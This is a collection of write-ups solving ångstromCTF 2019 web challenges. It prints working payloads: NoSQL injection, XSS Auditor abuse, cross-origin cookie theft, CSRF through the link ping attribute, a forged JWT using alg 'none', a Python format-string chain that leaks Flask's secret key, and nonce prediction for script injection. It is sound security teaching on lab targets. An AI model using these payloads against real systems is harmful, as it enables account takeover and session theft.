ångstromCTF 2019 -- quick write-ups by @terjanq (Web)  
===

# Control You  
The flag was in the source code of the webpage
**actf{control_u_so_we_can't_control_you}**

# No Sequels  
This was a basic NoSQL Injection task.  
```shell  
curl -i https://nosequels.2019.chall.actf.co/login \  
-H 'Content-type: application/json' \  
-d '{"username": "admin", "password": {"$gt": "a"}}' \  
-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'  
```  
After executing the above command we get a session cookie for the admin and
when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.  
**actf{no_sql_doesn't_mean_no_vuln}**

# No Sequels 2  
This was the same task as before but here we had to use blind NoSQL injection
in order to fetch all of the pasword's characters by using the payload above.
E.g.  
```  
{"username": "admin", "password": {"$gt": "a"}} -> true  
{"username": "admin", "password": {"$gt": "z"}} -> false  
```

By bruteforcing all characters we get the password `congratsyouwin` and then
the flag: **actf{still_no_sql_in_the_sequel}**

Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)

# DOM Validator

*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*

We had a simple upload page that allowed you to upload a custom HTML page. You
could report suspicious URLs to admin.  
After uploading the page we get:  
```html

<html>  
<head>  
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">  
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-
js/3.1.2/rollups/sha512.js"></script>  
<script src="../scripts/DOMValidator.js"></script>  
</head>  
<body>  
<h1>test_post</h1>  

<script>alert('pwned')</script>

  
</body>  
</html>  
```

The `<script>alert('pwned')</script>` won't be executed because of the
`DOMValidator.js` script:

```javascript  
function checksum (element) {  
var string = ''  
string += (element.attributes ? element.attributes.length : 0) + '|'  
for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++)
{  
string += element.attributes[i].name + ':' + element.attributes[i].value + '|'  
}  
string += (element.childNodes ? element.childNodes.length : 0) + '|'  
for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++)
{  
string += checksum(element.childNodes[i]) + '|'  
}  
return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)  
}  
var request = new XMLHttpRequest()  
request.open('GET', location.href, false)  
request.send(null)  
if (checksum((new DOMParser()).parseFromString(request.responseText,
'text/html')) !== document.doctype.systemId) {  
document.documentElement.remove()  
}  
```

It calculates some sort document's hash and then compares it with the
original. I haven't even looked into the code because I already knew an
unintended solution for this one.

The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in
Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any
reflected XSS will be filtered and not executed.

So I appended the `xss=<script
src="https://cdnjs.cloudflare.com/ajax/libs/crypto-
js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script
will be filtered and the `DOMValidator.js` will crash. Hence,
`<script>alert('pwned')</script>` will be executed.

![](https://i.imgur.com/gso11nh.png)

After sending that URL to the admin we get the flag:
**actf{its_all_relative}**

# Cookie Monster  
Once again, we've got a simple webpage with URL reporting functionality. After
a quick inspection we see two endpoints `/getflag` and `/cookies`. When
visiting `/cookies` our `cookies` are being displayed and it looks like
`user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid
variable in JavaScript so by including this script on the prepared website  
```  
<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>  
```  
and then reading the window variable  
```javascript  
var name =
Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];  
```  
we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=`
and then the flag: **actf{defund_is_the_real_cookie_monster}**

# GiantURL  
We have a website where we can:  
\- create `redirect` URL `GET /redirect`  
\- change admin's password `POST /admin/changepass`  
\- report URL `POST /report`

The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie
is set so we can't do any `POST` requests across different origins.

```php  
= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) {  
$password = $_REQUEST['password'];  
echo 'Successfully changed password.';  
} else {  
echo 'Password is insecure.';  
}  
}  
file_put_contents("password", $password);  
?>  
```

In order to get the flag we have to somehow change the admin's password. We
can see that it must be a `POST` request but the `password` can be passed as a
URL parameter.

In the `/redirect` we have a vulnerable code:  
```php  
Click on >this link to go to your page!  
```

In theory we could insert the xss there, like for example: `this link` but CSP
will block such attempts because of the  
`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';`
header.

However, there is a `ping` feature in `` elements that sends a `POST` request
when the link was clicked. So we can insert `this link` in the `/redirect` and
then when the admin clicks on that URL their password will change. The full
payload:  
`  
https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a  
`

After that we can log in using the new credentials and we get the flag:  
**actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**

# Cookie Cutter  
The chalange is about hacking the JWT cookie.  
To get the flag we have to pass this check:  
```javascript  
let sid = JSON.parse(Buffer.from(cookie.split(".")[1],
'base64').toString()).secretid;  
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}  
let decoded = jwt.verify(cookie, secrets[sid]);  
if(decoded.perms=="admin"){  
res.locals.flag = true;  
}  
```  
where the `secrets` is an array containing randomly generated `secrets`

```javascript  
let secret = crypto.randomBytes(32)  
cookie =
jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"},
secret, {algorithm: "HS256"});  
secrets.push(secret);  
```

The cookie looks like:  
```json  
{  
"alg": "HS256",  
"typ": "JWT"  
}  
{  
"perms": "user",  
"secretid": 1394,  
"rolled": "no",  
"iat": 1555925889  
}  
```

By providing the cookie:
`eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.`
which after decoding looks like

```json  
{  
"typ": "JWT",  
"alg": "none"  
}  
{  
"perms": "admin",  
"secretid": "randomstr",  
"rolled": "no"  
}  
```

we will get the flag, becasue `secrets["randomstr"]` will return `undefined`
and we set the `algorithm` to `none`.

The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**

# Madlibbin  
In the challenge we could insert a template string that will be interpreted in
Python's `"".format(args=request.args)` function. So the string `{args}` will
return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.

By running the server locally and using the script from
https://github.com/PequalsNP-team/pequalsnp-
team.github.io/blob/master/assets/search.py, I found out the chain of
properties that led to `Flask.app` object
`{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.

And the flag is: **actf{traversed_the_world_and_the_seven_seas}**

Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask
run`  
# NaaS  
It was a basic task for cracking the Python's `random` generator. The solution
was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify`
to predict the upcoming ones. To crack the `random` generator I used the tool:
https://github.com/tna0y/Python-random-module-cracker.

After successful prediction of the nonces you only had to create a paste with
`<script nonce=Nonce1></script><script nonce=Nonce2></script><script
nonce=Nonce3></script>...` so you can be sure that when the admin visits the
page one of them will work.

After getting the admin's cookie we get the flag:
**actf{lots_and_lots_of_nonces}**

Solving script: [./NaaS/solve.py](./NaaS/solve.py)  

Original writeup
(https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web).